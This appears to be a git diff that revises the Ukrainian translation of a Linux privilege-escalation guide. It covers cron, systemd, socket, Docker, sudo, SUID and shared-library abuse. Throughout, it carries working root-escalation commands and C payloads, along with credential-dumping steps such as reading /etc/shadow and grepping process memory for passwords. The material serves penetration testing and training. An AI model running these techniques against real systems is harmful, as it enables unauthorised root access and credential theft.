@ -43,7 +43,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати У жертви, перевіряє експлойти лише для ядра 2.x)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати В ЖЕРТВІ, перевіряє експлойти лише для ядра 2.x)
|
||||
|
||||
Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра вказана в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний.
|
||||
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
Перевірте **що змонтовано і що не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
|
||||
Перевірте **що змонтовано та не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -160,9 +160,9 @@ rpm -qa #Centos
|
||||
|
||||
> [!NOTE] > _Зверніть увагу, що ці команди покажуть багато інформації, яка в основному буде марною, тому рекомендується використовувати деякі програми, такі як OpenVAS або подібні, які перевірять, чи є будь-яка версія встановленого програмного забезпечення вразливою до відомих експлойтів._
|
||||
|
||||
## Процеси
|
||||
## Processes
|
||||
|
||||
Подивіться, які **процеси** виконуються, і перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat, що виконується від імені root?)
|
||||
Подивіться на **які процеси** виконуються та перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?)
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
@ -173,7 +173,7 @@ top -n 1
|
||||
|
||||
### Моніторинг процесів
|
||||
|
||||
Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови.
|
||||
Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні вимоги.
|
||||
|
||||
### Пам'ять процесу
|
||||
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Для заданого ідентифікатора процесу, **maps показує, як пам'ять відображається в віртуальному адресному просторі цього процесу**; також показує **дозволи кожного відображеного регіону**. Псевдофайл **mem** **викриває пам'ять процесів**. З файлу **maps** ми знаємо, які **регіони пам'яті є читабельними** та їх зсуви. Ми використовуємо цю інформацію, щоб **перейти до файлу mem і скинути всі читабельні регіони** в файл.
|
||||
Для заданого ідентифікатора процесу, **maps показує, як пам'ять відображається в віртуальному адресному просторі цього процесу**; також показує **дозволи кожного відображеного регіону**. **mem** псевдофайл **викриває пам'ять процесів**. З файлу **maps** ми знаємо, які **регіони пам'яті є читабельними** та їх зсуви. Ми використовуємо цю інформацію, щоб **перейти до файлу mem і скинути всі читабельні регіони** у файл.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -266,17 +266,17 @@ Press Ctrl-C to end monitoring without terminating the process.
|
||||
```
|
||||
### Інструменти
|
||||
|
||||
Щоб вивантажити пам'ять процесу, ви можете використовувати:
|
||||
Щоб скинути пам'ять процесу, ви можете використовувати:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і вивантажити процес, що належить вам
|
||||
- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (вимагається root)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і скинути процес, що належить вам
|
||||
- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (потрібен root)
|
||||
|
||||
### Облікові дані з пам'яті процесу
|
||||
|
||||
#### Ручний приклад
|
||||
|
||||
Якщо ви виявите, що процес аутентифікації працює:
|
||||
Якщо ви виявите, що процес автентифікації працює:
|
||||
```bash
|
||||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
@ -297,7 +297,7 @@ strings *.dump | grep -i password
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Активні FTP з'єднання) | vsftpd |
|
||||
| Apache2 (Активні сесії HTTP Basic Auth) | apache2 |
|
||||
| OpenSSH (Активні SSH сесії - використання Sudo) | sshd: |
|
||||
| OpenSSH (Активні сесії SSH - Використання Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Заплановані/Крон завдання
|
||||
|
||||
Перевірте, чи є які-небудь заплановані завдання вразливими. Можливо, ви зможете скористатися скриптом, що виконується від імені root (вразливість з підстановкою? можна змінювати файли, які використовує root? використовувати символічні посилання? створювати специфічні файли в каталозі, який використовує root?).
|
||||
Перевірте, чи є які-небудь заплановані завдання вразливими. Можливо, ви зможете скористатися скриптом, що виконується від імені root (вразливість wildcard? можна змінювати файли, які використовує root? використовувати символічні посилання? створювати специфічні файли в каталозі, який використовує root?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -340,9 +340,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**Якщо підстановочний знак передує шляху, як** _**/some/path/\***_ **, він не вразливий (навіть** _**./\***_ **не є).**
|
||||
**Якщо символ підстановки передує шляху, як** _**/some/path/\***_ **, він не вразливий (навіть** _**./\***_ **не є).**
|
||||
|
||||
Прочитайте наступну сторінку для отримання додаткових трюків експлуатації підстановочних знаків:
|
||||
Прочитайте наступну сторінку для отримання додаткових трюків експлуатації символів підстановки:
|
||||
|
||||
{{#ref}}
|
||||
wildcards-spare-tricks.md
|
||||
@ -350,7 +350,7 @@ wildcards-spare-tricks.md
|
||||
|
||||
### Перезапис скрипта cron і символічне посилання
|
||||
|
||||
Якщо ви **можете змінити скрипт cron**, що виконується від імені root, ви можете дуже легко отримати оболонку:
|
||||
Якщо ви **можете змінити скрипт cron**, що виконується від імені root, ви можете дуже легко отримати shell:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
|
||||
Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї.
|
||||
|
||||
Наприклад, щоб **моніторити кожні 0.1с протягом 1 хвилини**, **сортувати за менш виконуваними командами** та видалити команди, які виконувалися найбільше, ви можете зробити:
|
||||
Наприклад, щоб **моніторити кожні 0.1с протягом 1 хвилини**, **сортувати за менш виконуваними командами** і видалити команди, які виконувалися найбільше, ви можете зробити:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -393,19 +393,19 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, такі як:
|
||||
Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, таких як:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи PATH, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Start**, **Stop**, **Reload**), ваш **бекдор буде виконано** (звичайно, користувачі без привілеїв не можуть запускати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
|
||||
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Запустити**, **Зупинити**, **Перезавантажити**), ваш **бекдор буде виконано** (звичайно, користувачі без привілеїв не можуть запускати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
|
||||
|
||||
**Дізнайтеся більше про служби за допомогою `man systemd.service`.**
|
||||
|
||||
## **Таймери**
|
||||
|
||||
**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій та монотонних подій часу і можуть виконуватися асинхронно.
|
||||
**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть використовуватися як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій і монотонних подій часу та можуть виконуватися асинхронно.
|
||||
|
||||
Ви можете перерахувати всі таймери за допомогою:
|
||||
```bash
|
||||
@ -419,12 +419,12 @@ Unit=backdoor.service
|
||||
```
|
||||
У документації ви можете прочитати, що таке Unit:
|
||||
|
||||
> Юніт, який потрібно активувати, коли цей таймер спливає. Аргументом є назва юніта, суфікс якої не ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб назва юніта, який активується, і назва юніта таймера були однаковими, за винятком суфікса.
|
||||
> Юніт, який потрібно активувати, коли цей таймер спливає. Аргументом є назва юніта, суфікс якої не ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб назва юніта, який активується, і назва юніта таймера були однаковими, за винятком суфікса.
|
||||
|
||||
Отже, щоб зловживати цим дозволом, вам потрібно:
|
||||
|
||||
- Знайти якийсь юніт systemd (наприклад, `.service`), який **виконує записуваний бінарний файл**
|
||||
- Знайти якийсь юніт systemd, який **виконує відносний шлях** і у вас є **права на запис** над **systemd PATH** (щоб видавати себе за цей виконуваний файл)
|
||||
- Знайти якийсь юніт systemd, який **виконує відносний шлях** і у вас є **права на запис** над **шляхом systemd** (щоб видавати себе за цей виконуваний файл)
|
||||
|
||||
**Дізнайтеся більше про таймери за допомогою `man systemd.timer`.**
|
||||
|
||||
@ -439,7 +439,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
|
||||
|
||||
## Сокети
|
||||
|
||||
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації та налаштовуються через файли `.socket`.
|
||||
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах в рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації та налаштовуються через файли `.socket`.
|
||||
|
||||
Сокети можна налаштувати за допомогою файлів `.socket`.
|
||||
|
||||
@ -449,16 +449,16 @@ Unix Domain Sockets (UDS) дозволяють **комунікацію проц
|
||||
- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу.
|
||||
- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **закриті** та видалені відповідно.
|
||||
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміненим суфіксом). У більшості випадків не повинно бути необхідності використовувати цю опцію.
|
||||
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію.
|
||||
|
||||
### Записувані .socket файли
|
||||
|
||||
Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\
|
||||
&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_
|
||||
Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на зразок: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\
|
||||
_Зверніть увагу, що система повинна використовувати цю конфігурацію файлу сокета, інакше бекдор не буде виконано_
|
||||
|
||||
### Записувані сокети
|
||||
|
||||
Якщо ви **виявите будь-який записуваний сокет** (_тепер ми говоримо про Unix сокети, а не про конфігураційні файли `.socket`_), то **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість.
|
||||
Якщо ви **виявите будь-який записуваний сокет** (_тепер ми говоримо про Unix сокети, а не про конфігураційні файли `.socket`_), тоді **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість.
|
||||
|
||||
### Перерахунок Unix сокетів
|
||||
```bash
|
||||
@ -485,15 +485,15 @@ socket-command-injection.md
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати якусь вразливість**.
|
||||
Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати деяку вразливість**.
|
||||
|
||||
### Записуваний Docker Socket
|
||||
|
||||
Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокету може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
|
||||
Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокета може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
|
||||
|
||||
#### **Підвищення привілеїв за допомогою Docker CLI**
|
||||
#### **Підвищення привілеїв з Docker CLI**
|
||||
|
||||
Якщо у вас є доступ на запис до Docker сокету, ви можете підвищити привілеї, використовуючи наступні команди:
|
||||
Якщо у вас є доступ на запис до Docker сокета, ви можете підвищити привілеї, використовуючи наступні команди:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
|
||||
3. **Приєднатися до контейнера:** Використовуйте `socat`, щоб встановити з'єднання з контейнером, що дозволяє виконувати команди в ньому.
|
||||
3. **Приєднатися до контейнера:** Використовуйте `socat`, щоб встановити з'єднання з контейнером, що дозволяє виконувати команди всередині нього.
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
@ -564,11 +564,11 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus — це складна **система міжпроцесорної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійну основу для різних форм комунікації між додатками.
|
||||
|
||||
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які раніше були традиційно складними.
|
||||
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безперешкодній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які раніше були традиційно складними.
|
||||
|
||||
D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випуск сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.
|
||||
D-Bus працює за **моделлю дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випуск сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.
|
||||
|
||||
Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` надається, детально описуючи дозволи для користувача root на володіння, відправку та отримання повідомлень від `fi.w1.wpa_supplicant1`.
|
||||
Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` надано, детально описуючи дозволи для користувача root на володіння, відправку та отримання повідомлень від `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Політики без зазначеного користувача або групи застосовуються універсально, тоді як "за замовчуванням" контекстні політики застосовуються до всіх, які не охоплені іншими специфічними політиками.
|
||||
```xml
|
||||
@ -629,7 +629,7 @@ timeout 1 tcpdump
|
||||
|
||||
### Загальна Перерахунка
|
||||
|
||||
Перевірте **хто** ви, які **привілеї** у вас є, які **користувачі** є в системах, які можуть **увійти** і які мають **привілеї root:**
|
||||
Перевірте **хто** ви, які **привілеї** у вас є, які **користувачі** є в системах, які можуть **увійти** і які мають **root привілеї:**
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
Деякі версії Linux були піддані впливу помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
Деякі версії Linux були під впливом помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Використайте**: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
@ -732,13 +732,13 @@ $ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
Цей приклад, **оснований на HTB machine Admirer**, був **вразливим** до **PYTHONPATH hijacking** для завантаження довільної бібліотеки python під час виконання скрипта від імені root:
|
||||
Цей приклад, **оснований на машині HTB Admirer**, був **вразливим** до **PYTHONPATH hijacking** для завантаження довільної бібліотеки python під час виконання скрипта від імені root:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Sudo виконання обходу шляхів
|
||||
|
||||
**Перейдіть** до читання інших файлів або використовуйте **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Перейти** до читання інших файлів або використовувати **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
@ -755,7 +755,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
```
|
||||
**Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||||
|
||||
### Команда Sudo/SUID бінарний файл без шляху команди
|
||||
### Команда Sudo/SUID бінарний файл без шляху до команди
|
||||
|
||||
Якщо **дозвіл sudo** надано для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_, ви можете скористатися цим, змінивши змінну PATH.
|
||||
```bash
|
||||
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Схожий privesc може бути зловжито, якщо атакуючий контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, де будуть шукатися бібліотеки.
|
||||
> Схожий privesc може бути зловжито, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, де будуть шукатися бібліотеки.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -840,9 +840,9 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
Наприклад, зустріч помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації.
|
||||
Наприклад, виникнення помилки, такої як _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_, вказує на потенціал для експлуатації.
|
||||
|
||||
Щоб експлуатувати це, потрібно створити C файл, скажімо _"/path/to/.config/libcalc.c"_, що міститиме наступний код:
|
||||
Щоб експлуатувати це, потрібно створити C файл, скажімо, _"/path/to/.config/libcalc.c"_, що міститиме наступний код:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -894,7 +894,7 @@ system("/bin/bash -p");
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) - це кураторський список Unix-бінарників, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) - це те ж саме, але для випадків, коли ви можете **тільки інжектувати аргументи** в команду.
|
||||
|
||||
Проект збирає легітимні функції Unix-бінарників, які можуть бути зловживані для виходу з обмежених оболонок, ескалації або підтримки підвищених привілеїв, передачі файлів, створення прив'язаних і реверсних оболонок, а також полегшення інших завдань після експлуатації.
|
||||
Проект збирає легітимні функції Unix-бінарників, які можуть бути зловживані для виходу з обмежених оболонок, ескалації або підтримки підвищених привілеїв, передачі файлів, створення прив'язаних і реверсних оболонок, а також для полегшення інших завдань після експлуатації.
|
||||
|
||||
> gdb -nx -ex '!sh' -ex quit\
|
||||
> sudo mysql -e '! /bin/sh'\
|
||||
@ -954,7 +954,7 @@ sudo su
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть бути прочитані лише користувачем root та групою root**.\
|
||||
**Якщо** ви можете **прочитати** цей файл, ви можете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **підвищити привілеї**.
|
||||
**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **підвищити привілеї**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали оболонку в контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який буде виконувати ваш код як root, а потім команду користувача. Потім, **змініть $PATH** контексту користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, ваш виконуваний файл sudo виконується.
|
||||
Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали оболонку в контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який буде виконувати ваш код як root, а потім команду користувача. Потім **змініть $PATH** контексту користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, ваш виконуваний файл sudo виконується.
|
||||
|
||||
Зверніть увагу, що якщо користувач використовує іншу оболонку (не bash), вам потрібно буде змінити інші файли, щоб додати новий шлях. Наприклад, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ви можете знайти інший приклад у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
@ -1006,7 +1006,7 @@ sudo ls
|
||||
|
||||
Це означає, що конфігураційні файли з `/etc/ld.so.conf.d/*.conf` будуть прочитані. Ці конфігураційні файли **вказують на інші папки**, де **бібліотеки** будуть **шукатися**. Наприклад, вміст файлу `/etc/ld.so.conf.d/libc.conf` є `/usr/local/lib`. **Це означає, що система буде шукати бібліотеки всередині `/usr/local/lib`**.
|
||||
|
||||
Якщо з якоїсь причини **користувач має права на запис** на будь-який з вказаних шляхів: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, будь-який файл всередині `/etc/ld.so.conf.d/` або будь-яка папка в конфігураційному файлі всередині `/etc/ld.so.conf.d/*.conf`, він може мати можливість підвищити привілеї.\
|
||||
Якщо з якоїсь причини **користувач має права на запис** на будь-який з вказаних шляхів: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, будь-який файл всередині `/etc/ld.so.conf.d/` або будь-яка папка в конфігураційному файлі всередині `/etc/ld.so.conf.d/*.conf`, він може мати можливість ескалувати привілеї.\
|
||||
Ознайомтеся з **тим, як експлуатувати цю неправильну конфігурацію** на наступній сторінці:
|
||||
|
||||
{{#ref}}
|
||||
@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
|
||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x005bb000)
|
||||
```
|
||||
Копіюючи бібліотеку в `/var/tmp/flag15/`, вона буде використовуватися програмою в цьому місці, як зазначено в змінній `RPATH`.
|
||||
Скопіювавши бібліотеку в `/var/tmp/flag15/`, вона буде використовуватися програмою в цьому місці, як зазначено в змінній `RPATH`.
|
||||
```
|
||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||
|
||||
@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
